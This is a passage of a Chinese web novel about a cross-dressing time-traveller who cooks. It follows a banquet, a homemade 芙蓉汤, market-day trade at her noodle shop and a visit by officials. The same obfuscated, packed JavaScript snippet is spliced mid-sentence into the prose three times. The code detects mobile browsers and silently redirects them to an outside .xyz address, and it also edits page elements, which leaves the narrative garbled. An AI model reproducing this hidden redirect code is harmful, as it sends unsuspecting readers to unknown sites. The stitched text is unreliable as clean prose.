清秀公子长哦了一声，与他碰杯后一饮而尽，不怀好意地笑道：“伟诚兄若能在那事上多助小弟，这几日小弟定当力尽地主之谊。” “哈哈哈，好说，好说！”…… 隔壁桌的话题也大概如此，各种情绪流转在此起彼伏的高谈阔论和酒杯相碰声中。 “喂，这镜花阁是什么地方？”尚怀真听着那不绝于耳的欢声笑语，搓了搓李修阙问道。却见他锁着眉在看着五楼的方向，没有理会自己，不知道在想些什么。 见楼下有彩衣蝶影翩然进场，她也没感觉到被晾在一旁的尴尬，赶忙招呼林氏两姐妹一起过来看。 “锵！” 一道铿锵的琴声响起，舞台中有个红衣女子从天而降，卷起一地落花。 11. 金瑞衔珠 “今日第一道菜，名为金瑞衔珠。小女子将舞一曲惊鸿，望各位樽箸尽兴。” 身着红衣的珠珠姑娘捧着炸至金黄的头菜，脚尖点地，轻盈地落在舞台中央。随她一同落下的花瓣有不少打在了前排食客的脸上，竟没有一朵能玷污她手中的菜碟。 她脸上的笑容淡淡的，有些生人勿近的感觉，银铃般的声线却令众人都听呆了，痴痴地望着这道红妆下依然清丽的身影。 “好！好！精彩！仙女姐姐你太厉害了！”尚怀真鼓起掌来，这惊艳的一幕让她根本想不出合适的词语诗句能完美形容出台中女子此刻的美丽。 随着尚怀真的鼓掌声，众人如梦初醒，漪福楼内瞬间掌声雷动。 珠珠循声看过去，正好与盯着自己的李修阙四目相对，瞳孔猛然收缩了一下，回以一笑后，拉过纱幔，直直腾空飘向五楼，将菜端入金乾轩。 舞台上的四位琴师适时弹起歌曲，貌美的镜花阁姑娘们轻移莲步，捧着金瑞衔珠，随着音律，纷纷扭着婀娜腰肢走上了楼，大堂则由漪福楼自家的小二们来回传菜。 李修阙见珠珠的身影消失在金乾轩中后，藏在袖中的手暗暗握紧了拳。 而金乾轩内，此刻也有一双眼睛正在看着李修阙。 “李修阙，快过来吃饭了，这乳猪放凉了皮就不脆了。”尚怀真看着桌上脆皮乳猪的表皮还在滋滋冒油，不禁食指大动。 让上菜的美女不用服侍后，研究了一下摆盘，只见因在脆皮乳猪的嘴中和四肢处一共夹放了五块鲍鱼，这道菜便叫金瑞衔珠。 她自叹不如，也不知道这种名字是怎么想出来的，估计自己这辈子都不会有这个文采了。 见李修阙已经回过了身来，却还坐在那里发呆，先给他夹了一碗后，让林氏姐妹不要客气，就率先开动了。 一口下去，金黄色的表皮脆酥鲜美，皮下肉质爽滑，因外焦里嫩，又夹杂着鲍鱼的咸香，口感从焦到咸层层过渡，更是令人欲罢不能。 “这头菜的水平真不错！”‘咔哧咔哧’声从齿间传出，吃得满嘴都是油的尚怀真称赞道。 “这是漪福楼陈掌勺的拿手好菜，今年厨王争霸，他就是靠这道菜通过选拔的，自然不错。”见那道身着红衣的俏丽身影复又回到台上，现正翩然起舞，李修阙心里松了一口气，走过去席边说道。 “香飘四溢，肥而不腻。”尚怀真欣赏地点了点头，点评了一句后，见他坐下，八卦地笑问：“怎么，这般魂不守舍的，你看上那珠珠姑娘啦？” 李修阙摇了摇头，将杯中酒一饮而尽，嘴巴微张，却什么都没说。 低头看到自己面前的碗被垒得满满的，他有些诧异，向尚怀真问道：“你帮我盛的？” 尚怀真不假思索地应了一声，说：“对呀，哪里知道你这个吃货想事情还要想多久，给你留些，一会别又缠着我回去给你做吃的了。” 对面的林映瑶吃得差不多了，一会看看这个，一会看看那个，好像在对比哪个哥哥更好看。 第二道菜上来后，因英雄救美事件心底里默默加了分的她，见怀真哥哥依然给出高度评价，鼓起勇气扯了扯她的袖子，说道：“适才那道金瑞衔珠其实阿姐也会做。我觉得陈伯伯炸出来的猪皮虽脆而不够酥，没及时食用的话就会变硬而影响口感，使味浓且腻，猪肉又只余咸味而缺了鲜香，可以用蜂蜜涂于表层，烤至油份沉入皮肉后再炸，脆脆的猪皮便没那么容易变硬啦。” 说罢，她一脸不解地歪着头，眼中有些失落：“可是阿姐和陈伯伯说了后，他道是我们小娃娃喜甜口之物在这瞎说，又过了几天，阿姐把她自己做的脆皮猪端给陈伯伯品试，不知为何陈伯伯至那以后就不再待我们好了。” 李修阙听完认可地点了点头，把还没吃完的猪肉放在一边，道：“你给我盛的这碗猪肉吃着确实有些发齁，这小丫头在吃这块还是挺有见解的。” 适才觉得这是尚怀真专门留给自己的，不吃完好像不太给她面子，现在说开了，终于不用再硬吞了。 尚怀真狐疑地看了他一眼，夹起他碗中吃剩的一块猪肉，口感确实和刚做好时大相径庭。虽然食物放久了遇空气肯定会变柴变硬，但这雅间里有地暖，还有一道屏风隔绝开露台处高流速的空气，按道理应该是不会变味得这么快的，如果会，那确实是手艺上还不够完美。 把一块佛跳墙夹进林映瑶的碗里，鼓励地问道：“瑶瑶是怎么想到这么巧妙的方法的呢？” 林映瑶把尚怀真夹过来的肉吃完后，扶着肚子摇摇头示意吃饱了，才答：“瑶瑶小时候常常能在不同酒楼的潲水桶里捡到食客才吃了几口的佳肴呢，有一些可好吃了！可是为什么他们花了钱还要这么浪费呢？” 尚怀真听罢，叹了一口气，揉了揉她的头，模棱两可地答了句每个人的需求不同，让她先去看漂亮姐姐们跳舞，一会饿了再过来继续吃，又向李修阙问道：“白天还没来得及问你，厨王争霸是项什么赛事，这种水平便能通过海选吗？通过后有什么益处？” “每隔三年的秋收之后，全国六大经济管制重镇都会举办一场厨王争霸海选赛，再将那些通过海选的人集于京都，参与决赛，决赛胜出的前十名，会有一人被当今点名后进入宫中晋为御厨，专事其饮食。那人自此便富贵荣身，成为一人之下，万人之上的天下名厨了。其流程和科举大同小异，只是选拔的是厨子，入选人数也较少罢。” 李修阙拿起林映玉给自己满上的茶，卷走口中的油脂，又道：“厨王争霸考察出餐的色、香、味，色讲究摆盘与酱料配色，菜品不得单一，呈现出来要让人有赏心悦目之感；香则要求菜品需挥发出食材本源的香味，不得过浓或过淡，还要达到让路人嗅之便垂涎三尺的水平；味即顾名思义，但不仅是主菜，辅菜以及佐料的味道皆要让在场所有评审满意才算合格。” 尚怀真听完这一大串话，简直云里雾里、头昏脑胀，这么多不仅、不得、还要，这老皇帝想吃个饭都那么挑剔，也不知道这样劳师动众地收罗全国各地的大厨干嘛。自己当探店博主虽已达到了可以自由选择商家的体量了，也没有像他这么癫。 “这金瑞衔珠刚端上来那会确实是美味绝伦，摆盘虽然我欣赏不来，但的确也挺有特色的。要求那么冗杂，每次能通过海选的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405587|184444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多吗？” 前面上的全是肉菜，第七道菜终于是嫩青解腻的素菜了，她连着吃了好几口，把被绕晕的大脑抽空出来，才又问道。 “不多，这厨王争霸不似科举，寒门亦可参与。因当今觉着穷苦人家一辈子都吃不上珍馐美馔，不知真正的美食是何滋味，故以需要有一定的名气，被举荐后方可报名，报名之时还要查明过往资质，但每次的门槛都不一样，只能说名气和产业都要越多越好。” 李修阙见尚怀真难得有一道菜是吃得举箸不停的，将那盆菜移得靠近她一些。 尚怀真囫囵说了句谢谢后，思考了一下，好奇道：“那这陈大厨既已通过了海选，回来后不自己开店是因为这漪福楼名气很大？他过两年还想去参加？” 李修阙见她嘴角还挂着菜汁的迷瞪模样，笑道：“难得聪明了一次，这漪福楼虽位于小小湖山县，却已晓喻离州，而且彭福生给他开出的薪资，估计不亚于他自己经营饭馆了。除了出类拔萃的前几名，后面不相上下的人实际更看重名气，为了保住项上人头，那群评审们也不可能将名不见经传的小将名字排于家喻户晓的人之前，以产生被人藉此追究徇私舞弊的风险。” “那这样对那些有真材实料的农家子不就很不利吗？就比如像瑶瑶这种于厨艺上有天赋之人，还是流民，怕被官府清查，连营生都难寻，就只能被埋没了？”尚怀真唏嘘地道。 林映瑶听到自己的名字，走到尚怀真的身旁，问她是在找自己吗，见对方摇头，乖乖地又坐到长姐身边，与其说起悄悄话。 “大部分是的，但也有靠自己逆天改命的案例，我记得第二届厨王争霸中就有一位名叫许代荣的大厨，靠自己一手出色的手艺，为全家买下可以扎根城市的户籍，还一路过关斩将，被当今一举选中，现在仍有天下第一名厨之称，无人可超越。”李修阙想了想，眼神中不无赞许。 “流民可以自己买户籍？”听完这段励志的故事，尚怀真有点兴奋。 李修阙点点头，道：“是的，只要有足够的钱就可以。” 得到肯定回答，尚怀真觉得这是这么多天以来，她听到的最好的消息了，下意识又问：“科举只容男子参与，这厨王争霸女子可以参加吗？” 李修阙没想到她会问这个，愣了一下，看了一眼同样震惊的林映玉，答道：“不可以，不过有一些女子会随夫婿参赛，在旁做副手，便充作自己参加了，一荣皆荣。” “这也太不公平了吧，女子自己既有此手艺，为何还要冠以夫婿之名。”尚怀真看着眼前的美味佳肴，瞬间没食欲了，刚刚的好心情不翼而飞，语气有些闷闷的，也不知道自己这女扮男装的身份还要维持多久。 对于一个爱穿裙子爱化妆的人来说，简直太煎熬啦！ 雅间中静默良久，连上菜的镜花阁姑娘都不禁多打量了尚怀真几眼。 李修阙喝茶的手顿住了，挑了挑眉，道：“你竟会这般想。其实只要丈夫能尊重和认可她们的付出，她们是不会在乎这些虚名的。” 尚怀真不忿地拍下筷子：“女子即为好，她们的好为何一定要得到男人的认可呢？” 12. 芙蓉汤（一） 月色如水，清辉洒在只余零星店铺的街道上，却因不断有马车自漪福楼处驶出，偶有高声醉语响起，并不显得冷清。 捧着被十一道菜填满的肚子，尚怀真满足地打了个饱嗝后和李修阙道别，坐在他帮忙雇的马车里，舒服地带着林氏两姐妹往城南街去。 有钱真好啊！她如是想。 秉着只要足够优秀，便能拥有特权的信念，尚怀真其实老早就想回家去研发新的菜品了，但民以食为天，看着琳琅满目的美食，还伴有歌舞美人助兴，她实在是走不动道了。 食色，性也。自己不过俗人一个，要做卷王也不差这一时半刻。 听着‘哒哒哒’的马蹄声，眼见月上中天，回到尚宅时，夜已经很深了。尚怀真给匆忙迎出来，呵着白雾的孟奶奶简单介绍了一下两人，便忙将她搀扶进堂屋就坐。 眼前亮堂后，身上也随之暖和起来。林映玉牵着正睁着大眼睛四处张望的林映瑶，恭敬地给两位长辈行了个礼。 尚广明在见到林映玉的瞬间，眼神突然变得怪怪的，但他一向喜怒不形于色，转瞬即逝的表情并没让人发现有何不妥。 倒是孟奶奶，亲自把她们拉到座位上，轻拍着映玉的柔荑，整个人一反往常般精神抖擞，满面笑容地说着要带她们去收拾房间。 尚怀真见她已经开始查户口了，赶紧把一个钱袋子从袖中拿出来递给她，兴奋道：“这里还有三两碎银和二百二十文铜钱，阿奶你明日和映玉她们去购置一些家用，找人修缮一下咱们的院子吧，今年咱就可以暖和热闹地过个年了。” “牛蛋，你怎的会有这多些钱？咱家虽然穷，但坑蒙拐骗之事是切切不可做的。”孟奶奶收起笑，紧张地看着那钱袋子许久，别说接过来了，连碰都不敢碰，还想叫尚怀真赶紧上交官府。 “牛蛋？怀真哥，你叫牛蛋呀，哈哈。” 林映瑶那道只扯了两下嘴角的笑容在旁人看来极具嘲讽意味，但尚怀真对她的性子已有初步了解，只哭笑不得地点了点她的眉心，说了句没大没小后，才将今天的事情粗略解释了一遍，怕孟奶奶不相信，还在原地连贯地打了一套拳给她看。 因小时候在乡下和奶奶相依为命，时常被村里的皮猴子欺负说是小野种，走在路上不是遭到他们扯头发就是被他们丢石子，小小的她当时实在想不明白，大家都是留守的，咋就逮着自己来薅呢？所以上了高年级后，见到有武术班在招生，她就赶紧报名了。 虽然只是为了在特定日子给领导们表演而开办的一个兴趣班，但确实也从那学到了些真真假假的把式，长大后勤加练习亦可勉强自卫。不过像今日那两个牛高马大的壮汉，正常来说以现在这个缩水了的小身板是完完全全不可能打得过的，所以穿越过来后，自己身上肯定是多了一些暂时还没摸清楚的能力，或许正像李修阙所说的类似内力而非内力的能量。 难道是金手指？她搞不明白，只好下次进系统再问问老咪了。 孟奶奶听完，被尚怀真耍宝似的拳法逗笑了，松了一口气，旋即又提心吊胆地问道：“那你掳了人家的钱财，又把彭东家要处理的人救了出来，他们会找上门来报复吗？” 对哦！尚怀真突然答不上话来了，顿时一阵后怕，怪自己冲动之下并没有想到这个问题。 “无妨，既已掳走了他们身上所有值钱的财物，身无分文的情况下为了拿到赏金以及保住这份营生，他们断不敢说出实情。漪福楼每日里要应对的客人数不胜数，只往后行事莫要太招摇，彭福生不会把两个小姑娘放在心上的。”尚广明见四个女子围在一起愁云满面，淡淡开口道。 一语惊醒梦中人，没想到自己这个行为竟阴差阳错地为自己铺好了后路，如果当时没有洗劫他们，还真未必是这个结果，尚怀真心有余悸地忙应和道：“对对对！现在世道艰难，他们又干了不光彩的事，定不会为了两个小姑娘而讨罚于东家。” 做人留一线，日后好相见？非也。必要时，还是不要做人的好。 孟奶奶见儿孙都一副淡定自若的样子，只好点点头，惴惴然道：“好吧，不过牛蛋你此番行事还是太过莽撞了，这次是对方过于大意，下次可不一定能有如此顺利了，往后这种事情还是要速速上报官差来处理。” 末了还嘱咐一句：“莫要再让阿奶担心。” 尚怀真不好意思地用手指拢了一下耳旁的碎发，认真地道了歉后，笑道：“以后不会再这么冲动啦。阿奶您先带映玉她们去收拾收拾，今夜我给你们做芙蓉汤，解腻暖身好睡觉。” “噔噔！”说着，她在老人惊讶的目光中，走到门边的一堆细软处，把刚刚在雅间内迎着众人不可置信的目光下打包回来的肉食甜点拿起来给孟奶奶看。 在古代，其实大部分人在外吃有剩菜都是会用手帕布袋打包回家的，不过在别人请客的情况下，碍于礼仪，就少有人会这么做了。当时李修阙着实惊愣了一下，但觉得尚怀真此举是早把他当成了自己人，只道她是真性情，并不感觉到有被冒犯。 而尚怀真其时只一心想着浪费是人类之耻，和林映瑶开心地收拾着残羹，哪里会理会别人怎么想。 此为小插曲不谈。孟奶奶带着姐妹俩出去后，尚怀真被尚广明叫住了。 甫一到他房中坐定，便被问道：“今日你是如何打倒那两个壮汉的，可以详细同我说说吗？” “我就是冲跳后给他后脑勺来了一拳，应该是他当时脑子都被下半身控制了，没反应过来，才会在回头的时候再被我一记上勾拳放倒了吧。”尚怀真思索了一会，其实自己也不太相信，只好这样来解释道，接着还连忙补充：“我自己只打倒了一人，另外一人是您徒弟打倒的哦。” “我徒弟？” “李修阙呀，他说跟您学武术的呢。”尚怀真疑惑地看了看尚广明的样子，又看了看他的腿，难道这瘸腿俊叔还有不止一个徒弟？自己身边隐藏着个当代孙膑？ 正在暗自打量她有没有说谎的尚广明闻言眼睛突然瞪大了一点，旋即又一如寻常般问道：“适才你说请你到漪福楼作客的朋友就是他吧？你们何时相识的？” “好些天前了，我第一次做阳春面的时候。”尚怀真回想了一下那家伙脸上总是令人手痒的欠揍小表情，答道。 尚广明点点头，终止了这个话题，延续回之前的内容，问道：“你从前学过武术？” 尚怀真喝了一口热茶，女人的第六感令她总觉得这便宜老爹心里藏着事情，看着徐徐升起的白雾，她点了一下头又摇了摇头，模棱两可地回道：“从前总被人欺负，为了自保便磨练了一下拳脚。” 天纵奇才？尚广明皱了皱眉，手指在桌上轻叩了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405588|184444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两下，又问道：“那你想学武术吗？” “呃，可以冒昧地问下，您的腿这样是如何教武术的呢？”尚怀真考虑了半晌，决定还是把自己心中的疑惑问出来。 - 厨房里的热锅升起驱散寒意的温度，将刚才便宜老爹抛出的橄榄枝暂时置之脑后，把菠菜、胡萝卜和香菇切好丁，尚怀真就开始制作宵夜了。 其实她一开始是想做罗宋汤的，那酸酸甜甜的味道简直开胃又上头，就着能吃好几碗大米饭。不过现在牛肉珍贵稀缺，耕牛宰之犯法，老牛一斤难求，用猪骨替代的话需先熬汤底，耗时要多上一倍，味道上可能还会有冲突，不太值当。肯爷爷家的芙蓉汤味道一样很鲜甜，而且做起来容易且健康，所以就决定是它了。 用葱花爆香锅里的油后，将胡萝卜丁和香菇丁一起炒熟，便有了类似雨后土壤的浓香气味扩散开来，不爱香菇的人可能会觉得这味道怪异呛鼻，但她这个香菇脑一手煸炒，另一只手就已经在擦着口水了。 少顷，再把开水倒入炒熟的蔬菜丁里，闷煮一会后，放入焯过水的菠菜，一边搅拌一边淋上鸡蛋液。看着蛋液在汤里一朵朵地开成花，最后加入适量盐调味，少量醋增鲜，就美美完成了碰瓷肯爷爷版芙蓉汤了。 尚怀真迫不及待地试喝了一碗，只一个字：鲜！因鲜而甜，比放味精还有其他合成调料的好喝多了。蔬菜汤和海鲜一样，就是要大道至简。 原想一次性喝到饱，但觉得独乐乐不如众乐乐，她还是先把提前热好的剩菜端上桌，给每人盛了一碗后，才满意地听着众人的夸赞，把汤续了又续。 轻吹去唇边热气腾升的香甜，一口下去，丝滑沁喉，清新的甜意在舌尖久久不散，润入胃里，不仅给腹中添了暖意，还卷走了一日的腥腻。 “牛蛋，你这个汤非常甜香美味，阿奶觉得也可以拿去面馆里售卖。这里间蔬菜切成了小块，显得料多而汤浓，就着米饭吃软口易消化，很适合我们这些吃多一些肉食就容易胃中腻阻的老人家，阿奶就很喜欢。”孟奶奶对桌上的鸡鸭鹅不感兴趣，一连喝了两大碗汤，还另外把里面的蔬菜捞起来吃。 尚怀真闻言，嘻嘻笑了一声，道：“阿奶，我做的每道菜，你都说好吃呢。” 见自己碗里又被尚怀真满上了汤，孟奶奶也笑道：“总没个正形，反正阿奶目前最喜欢这一道汤。” 坐在其身旁的林映玉浅尝了一碗就停筷了，也点了点头，道：“香菇原就有小肉菜之称，许多礼佛的夫人及高门贵女，饮食多以素餐为主，但又追求食之鲜，味之浓，仅水煮或煸炒的素菜难以符合她们的胃口。怀真你这道芙蓉汤兼具二者之功，或能吸引到许多女性食客。” 听罢，尚怀真和尚广明都不禁多打量了她几眼，这林映玉言行举止有章有法，见识广袤，谈吐气质完全不像是一个长期流浪之人，甚至与林映瑶根本不像两姐妹，更像是一个世家小姐。只手上的皲裂确实证明她先前过得挺苦的。 尚怀真忍不住想，该不会是哪家被流放的落魄千金遗落人间了吧。 又喝下一碗芙蓉汤，见汤盆已经见底了，她笑道：“家里面的几位女士都说好，那必须听你们的。到时再加以山药，更能饱腹且好看。明日你们去采购时，且记得买几盒胭脂，后日要靠你们两个小美人来帮我推广白玉芙蓉汤了。” 13. 芙蓉汤（二） 日升月落，日子在过着的时候觉得很慢，但其实眨眼间又是一天。 七日后，便是正月初一了。因大年前要准备年货、洒扫门庭，人们筹备年节的这些日子里总是忙得脚不沾地，久而久之的，南方一带便将趁墟采囤日定在了腊月二十四，方便民众们一次性买齐所需物品。 这一日，许多县城会取消当天的宵禁，放宽入城条件，以吸引更多攒了一年钱的农夫走卒来往贸易，使县令能在今年的计簿与年终自省中最后再大挥一笔，从而求得官进一步。 故而一大早，天际稍露曦光，不止离州，许多城镇的街道上，人头涌动，都已充斥着此起彼伏的赶集声与叫卖声。 在这热闹的氛围下，湖山县中却隐隐藏有一丝难以言说的压抑。 尚怀真刚将写着菜单的小木板架好，天空中就悠悠得飘起了雪花。她不禁缩了缩脖子，往手中呵了一口暖气，虽然这些天起早时，常能看到清晨的地面上覆有薄薄的积雪，但真正下雪今天还是头一回见。 昨儿去老木匠那里询问进度，得知他要在过年前两天才能帮自己把取餐牌赶出来，有点沮丧之际发现他那里还有卖可以写菜单的粉板，就顺带买了一块回来，以后路人经过时被菜香吸引，就不用特意凑到柜台上看价格了。 远远地看一眼粉板便能决定要不要上前消费，对一些囊中羞涩或重视面子的人或许是一项很友好的举动，说不定还可以把这一部分害羞的顾客发展起来。 从一直用小火温着的铁釜中盛起一碗白玉芙蓉汤，汤碗内冒起的水蒸汽打在脸上，瞬间就在鼻端凝成了密密麻麻的小水珠。 见旁边在房梁上挂灯笼的老人从爬梯上下来，尚怀真把汤端过去，递给席地而坐的老人道：“老大爷，您都忙活一早上了，快来先喝碗汤暖暖身子吧。” 坐在地上的老人揉着发酸的手臂，看着眼前热气腾腾的汤，喉头上下鼓动，却连忙摆手拒绝：“不用不用，少掌柜你太客气了，这碗汤得不少钱吧，我家老婆子做有了饭，一会就拿过来了。” 尚怀真看着他渴望又克制的眼神，温和地笑了笑，再把汤往前送了一点，道：“一碗蔬菜汤罢了，不值几个钱，我刚好也想找大爷您询问些事情。” 老人犹豫了一会，站起来拍掉手中的尘土后，才双手接过俊朗少年递过来的汤，不停地说着感谢。 尚怀真环视了街道一圈，见正在挂灯笼的大部分都是已生白发的老年人，不解地问道：“大爷，为何都是您们这些上了年纪的老人家在挂灯笼呀？” 老人喝下一口白玉芙蓉汤，只觉舌口生津，胃里瞬间暖和了起来，身上的寒意也褪去了几分，冻僵的脸上因气血上涌，不自禁地爬起了笑容，无奈地答道：“说是上头的大老爷今明两日会来咱湖山县巡查，村里的壮丁都被急召去修补城墙和清赶流民了，可这挂灯笼的事务往常也都是征调他们去做的，没法，家中缺了适龄男子，就只能我们这把老骨头顶上了。” “不做不行吗？城里还有那么多人可以补上，您都这么一大把年纪了，万一有个闪失可怎么办？”尚怀真不认可地摇摇头。 老人叹了一口气，捧着还不舍得喝完的半碗汤，道：“你们城里人不懂，这就与上交田赋一样，不做可是要记大过的，我家大孙子还要参加科考，我这把老骨头可不能耽误了他。” 才说上两句，一个皮肤黝黑，身形清瘦的老妇人提着简易的木质饭盒急匆匆走了过来，把袖中的汤婆子递给了刚与尚怀真攀谈的老人，白雾不断地从她微张的口中呼出，她对着老人关切道：“老头子，今日那些衙役没找你麻烦吧？你快先趁热把中饭吃了。” “没有没有，看你急的。这是这位小郎君做的汤，老婆子你快尝一尝。”老人好笑地看了一眼老妇人，忙将她手上的东西卸下，把用棉衣裹着的汤拿出来，满眼宠溺地看着她喝下。 尚怀真看着眼前这温馨柔情的一幕，感觉心里甜甜软软的，其实不论贫穷富贵，只要在爱的人身边，便是最大的幸福了吧。也不知道自己这辈子还能否拥有这般细水长流的爱情。 老妇人喝完汤，那鲜甜的滋味让她双眼都亮了起来，对着尚怀真大夸特夸，还意犹未尽地问道：“小郎君，你的手艺真了得，这汤卖多钱一碗？老婆子我想买两碗给儿媳们送去，她们估计还未用膳呢。” 尚怀真回过神来，笑道：“婆婆您谬赞了，不介意的话就和大爷一起来小馆歇息一下吧，我们这还有别的吃食，味道都不错的。” 给两位老人上了一份肉夹馍，又见一名衙役正用水火棍驱赶着一个衣衫褴褛，正在各家食肆里翻找着食客吃剩下餐食的流民。 “走走走，买好物什赶紧出城去，若冲撞了县令及上头的大老爷，你这条小命就别想着还能留到过年了。” 流民方走到永兴面馆处，便被香味吸引地走不动道，见驱赶自己的衙役并没有赶尽杀绝的意思，连忙在不多的桌面上搜寻起来，却见每个还未来得及收拾的碗里，都被吃得一干二净。 “这碗汤和两张烙饼您拿去吧，那衙役看着是位心善人，以您的名义也给他送去一份汤吧。”见这位流民虽衣衫褴褛，却能把自己收拾得齐整干净，今日装作食客的林映玉心生不忍，轻轻开口道。 流民闻言愣了一下，抬眼望过去，但见说话的女子面若桃花，仅二八年华便已出落得有惊人之姿，其秀眉微蹙，柔和的神情下略带怜悯地看着自己，不禁双腿一软，直接跪倒在地，对她高呼感谢：“谢过女菩萨，谢过女菩萨！” 林映玉一惊，连忙起身将人扶起，十分抱歉地看了尚怀真一眼，才对流民说道：“大叔您太折煞我了，我曾受过这店家的救助，如今便也想着能帮即帮，断称不上菩萨二字。” 流民甚至还没反应过来自己被扶起了，受宠若惊地接过两张表面涂满了肉酱的烙饼，小心翼翼地藏于里衣中，然后把其中一碗还冒着热气的白玉芙蓉汤端给在永兴面馆外盯着自己的衙役，承诺自己会马上离开后，才又折返回来千恩万谢地拿走了赠予自己的那碗。 衙役在流民感激的目光下喝下一口汤后，顿觉暖意升起春风，轻轻拂过脸庞，带去一脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16409406|184444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的寒冰。在县令强烈的截杀肃清要求下，他不知宽放流民此举是对是错，但这来自善意的馈赠，却是如此可口润心。 目送流民走后，复又看向面馆内那位独自用餐的女子，只见她低着头，用手拢着可能随时会滑落的乌发，悠然地品尝着面前的美食。“原来仙子也是会栖身人间烟火的吗？”他如是想。 林映玉感觉到有人看着她，抬头望过去，四目相对之际，只见那名年轻的衙役整个人都呆住了，红透的脸与肩上的落雪形成鲜明对比，她微微一笑，点头致意后便又继续享用剩下的吃食，心里琢磨着别的事情。 脸红心跳的衙役与她目光接洽后，眼前瞬间只余对视的这一刻，满脑子都被这位仙子填满了。心里说服自己冷静下来后，正想上前攀谈，却见有几个贵女模样打扮的姑娘，先他一步，将他的仙子围住。 “这位姐姐，你点的这个烙饼好吃吗？我见肉夹馍也不错，不知道选哪个好。” 林映玉见与自己搭话的姑娘簪着未笄的发样，手里拿着一卷纸，正好奇地看着她盘中的烙饼。她微笑答道：“好吃的，我向来喜清斋素食，掌柜便给我推荐了这烙饼与白玉芙蓉汤，确实很是美味。” 这时，搭话姑娘的一个朋友从永兴客栈里绕了一圈后走了出来，有些嫌弃地用手帕掩了掩鼻子，对她道：“颐香，这环境也太差了些，连个可坐的地儿都没有，也就你这嘴馋的偏要来。” “妙菡，你此话非也，贤者云，山不在高，有仙则名，同理，美味的吃食也可能藏于陋巷街角里。”颐香举着食指否定道，那副神态俨然一个小教书先生的模样。 唤作妙菡的少女无奈地扶了扶额，求救般说：“好啦，难得出来一趟，陪你尝尝就是了，别整日里学得和你那书呆子父亲一模一样。”随后又看向结伴同来的另外两人，问道：“你们想吃什么，我过去一同买了。” 颐香看着那明明嫌弃却又迁就自己的背影，想到自己能有这么一个好朋友，开心溢于言表，向林映玉问道：“姐姐，我们能和你搭台吗？总觉得你这里看着干净些。” 得到应允后，几个小姐妹争相去帮妙菡拿餐食，还纷纷瞅了尚怀真几眼，小声议论着这家面馆的小掌勺生得倒还挺俊俏。夜里听林映玉说起这档子闺中小语，尚怀真哭笑不得。 此时，品珍阁最上等的雅间内，被县令叫来的几位湖山县里最有头面的儒士富商，正陪着吏部侍郎和大理寺少卿在掌酒阔论，其中便有薛父和彭福生。 “这家永兴面馆宾客不绝，男女老少皆有光顾，想来味道定是不错的，振中，你可有去品尝过？”大理寺少卿穿着寻常家居的灰色衣褂，站在窗边，看了看手中从路边小女孩处接过来的一卷纸张上的内容，又看了看在永兴面馆前热络排着队的民众，问道。 看着这个多年未见的同窗，薛父不知心里是何滋味，但见其神情一如少年时，便笑着答道：“有幸被小女请客过一次，确实不错。” 大理寺少卿见他神态如常，挑了挑眉，心中微叹，也随之笑道：“那便一同去尝尝罢。” 14. 收获青椒 县令看出两位大人都对这永兴面馆颇感兴趣后，方开口让师爷去把每样菜品都买一份上来，便被吏部侍郎制止了。 他喝了一口茶，睥了一眼微躬着身，满脸殷勤的县令，用其低沉的声量，掷地有声道：“想要了解民生，便要深入民中。” 县令讷讷应是，转身吩咐师爷安排好行程时，用袖子擦去额间的冷汗。现在他是半点不敢得罪这两尊自己花了大价钱找关系请下来的大佛。 不多时，尚怀真刚盛起一碗阳春面交付出去，便眼尖地见到几位气质不凡的人往自己这边走来，他们身后跟着遥遥与自己抬首招呼的薛父，其身旁还伴着一反那日傲慢，此时正笑容和煦的彭福生。 她心下一惊，忙走进身后的客栈，示意正在后院洗碗的林映玉先回家去。 甫一抵达永兴面馆，师爷看了看满座的摊位以及还排着十数人的队伍，就先于几位大老爷，快步穿过人群，走到尚广明处，偷偷塞了个钱袋子给他，小声道：“掌柜的，我家老爷腹饿难当，可否让我们优先取食？” 尚广明看向不远处县令那谄媚的嘴脸，以及吏部侍郎表里不一的面孔，心里不屑地冷笑了一声，将钱袋子挡回去，不苟言笑地道：“这些食客都规规矩矩排了许久的队，面馆的生意全倚仗他们，某不敢行此假公济私行径，还请先生您去排队罢，我家出餐不会让您等太久的。” 师爷总觉得他这话一语双关、暗带讽刺，恼怒地“你！”了一声，唇缝间只冒出这一个字后又闭上了嘴，凶狠地盯着他好一瞬，才回去附耳禀报县令。 县令闻言皱了皱眉，不爽地打量了尚广明两眼，让师爷再去告知自己的身份。 尚广明听罢，依旧不松口，只抬手向县令抱了抱拳以示尊重，便若无其事地继续服务着眼前的食客。反而是一些听到他们对话或认出县令的人，遗憾地叹了口气，自发散了。 